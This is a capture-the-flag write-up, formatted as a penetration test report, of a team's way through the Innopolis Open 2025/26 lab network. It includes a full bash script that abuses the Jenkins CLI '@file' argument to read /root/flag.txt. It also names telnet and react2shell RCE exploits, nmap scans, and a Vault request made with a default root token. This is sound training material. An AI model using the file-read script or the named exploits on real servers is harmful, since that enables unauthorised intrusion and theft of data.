Innopolis Open 25/26 writeup
Progress report
Offensive Security Penetration Test Report
Command: Cyb3rp4w5 – Copy (3)
Participants:
- Kravtsov Nikolay Dmitrievich, REDACTED EMAIL
- REDACTED NAME, REDACTED EMAIL
- Timergaliev Raikhan Rasikhovich, REDACTED EMAIL
- Ponyatov Alexey Sergeevich, REDACTED EMAIL
- Parakesikyan Gurgen Garikovich, REDACTED EMAIL
INNOPOLIS OPEN cyber security 2025/26
Table of contents
- 1. Collection of information
- 2. Service analysis
- 3. Receiving a flag in telnet
- 4. Getting the flag via Jenkins CLI
- 5. Scanning the internal network
- 6. Exploiting Cosmic.com and getting the flag
- 7. Second internal network scan
- 8. Network map
1. Collection of information
Testing began with determining the available ports on the virtual machine; the following ports were identified for a given IP address:
22 - admin port, skip
23 - telnet port
8080 - Jenkins
50000 - Jenkins Agents
2. Service analysis
Telnet was producing unreadable characters. While searching for cve we find Telnet RCE Exploit. (CVE-2026-24061)
3. Receiving a flag in telnet
We exploit it, get a root shell, and find the flag in the root directory:

CTF{0b7b3651712d0021ef6b366e88687833045a0817}
4. Getting the flag via Jenkins CLI
After detecting Jenkins on the port 8080 An analysis of available web resources was performed.
The service gave jenkins-cli.jar via standard path:
http://10.80.14.2:8080/jnlpJars/jenkins-cli.jar
Next, Jenkins CLI was used to read a local file on the server by passing an argument in the format @<путь_к_файлу> to the command help.
Script used
cat > /tmp/get_flag.sh << 'EOF'
#!/bin/bash
TARGET="10.80.14.2"
PORT="8080"
if [ ! -f /tmp/jenkins-cli.jar ]; then
curl -s "http://$TARGET:$PORT/jnlpJars/jenkins-cli.jar" -o /tmp/jenkins-cli.jar
fi
JAR="/tmp/jenkins-cli.jar"
echo "=== Reading /root/flag.txt ==="
java -jar "$JAR" -s "http://$TARGET:$PORT" help x "@/root/flag.txt" 2>&1 | head -10
EOF
chmod +x /tmp/get_flag.sh
/tmp/get_flag.sh
Execution result
=== Reading /root/flag.txt ===
ERROR: Too many arguments: CTF{5e6c62fed50fc7af98e09bc80cbe52a3a8413f08}
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: x)
Flag:
CTF{5e6c62fed50fc7af98e09bc80cbe52a3a8413f08}
5. Scanning the internal network
After gaining access, a scan of the internal network was performed.
To carry out the scan, a static binary file was loaded onto the target system nmap.
Scan results
The scan detected an active internal host:
- IP:
192.168.114.30 - Hostname:
fhmpe1al20jjpb7ob2jb.auto.internal
Open ports and services:
| Port | State | Service | Version |
|---|---|---|---|
| 22/tcp | open | ssh | OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 |
| 80/tcp | open | http | nginx 1.29.5 |
Additional information obtained by Nmap:
- HTTP server header: nginx/1.29.5
- Web page title: Cosmic.com Social Network
- OS: Linux (based on the results of determining services)
6. Exploiting Cosmic.com and getting the flag
While analyzing the web application, we discovered this endpoint:
http://cosmic.com:8888/api/rsc
Search for vulnerabilities
This endpoint gave us a clue. We then searched for terms related to the attack approach:
src vulnerabilities
As a result of the search, information about the vulnerability was found react2shell, allowing to achieve RCE(CVE-2025-55182)
Exploitation
After running the PoC, the vulnerability was successfully confirmed: it was possible to get commands executed on the target host. We immediately gained access to root, which allowed us to read the file with the flag without additional escalation of privileges.
Receiving a flag
The flag was read from a file flag.txt:
CTF{a830d7cfdf443bd470aec9ceeebe243eb224c460}
7. Second internal network scan

After the second stage of scanning the internal network, scan the Jenkins subnet.
Subnet Scan
For the initial detection of nodes, ping-scan was used over the subnet 172.40.0.0/24:
nmap -sn 172.40.0.0/24
As a result, 3 active hosts were detected:
- 172.40.0.1 — hvpngpl8301vqbkps9
- 172.40.0.2 — vuln_telned_1.vuln_frontend
- 172.40.0.3 — current compromised node (a5de35afed64)
Receiving a flag
While investigating the service on the internal host, we sent a request to this endpoint: v1/secret/data/flag with the header: X-vault-token: root
The request to this endpoint returned the flag.
8. Network map
Based on the results of scanning and studying, the following network map was built:
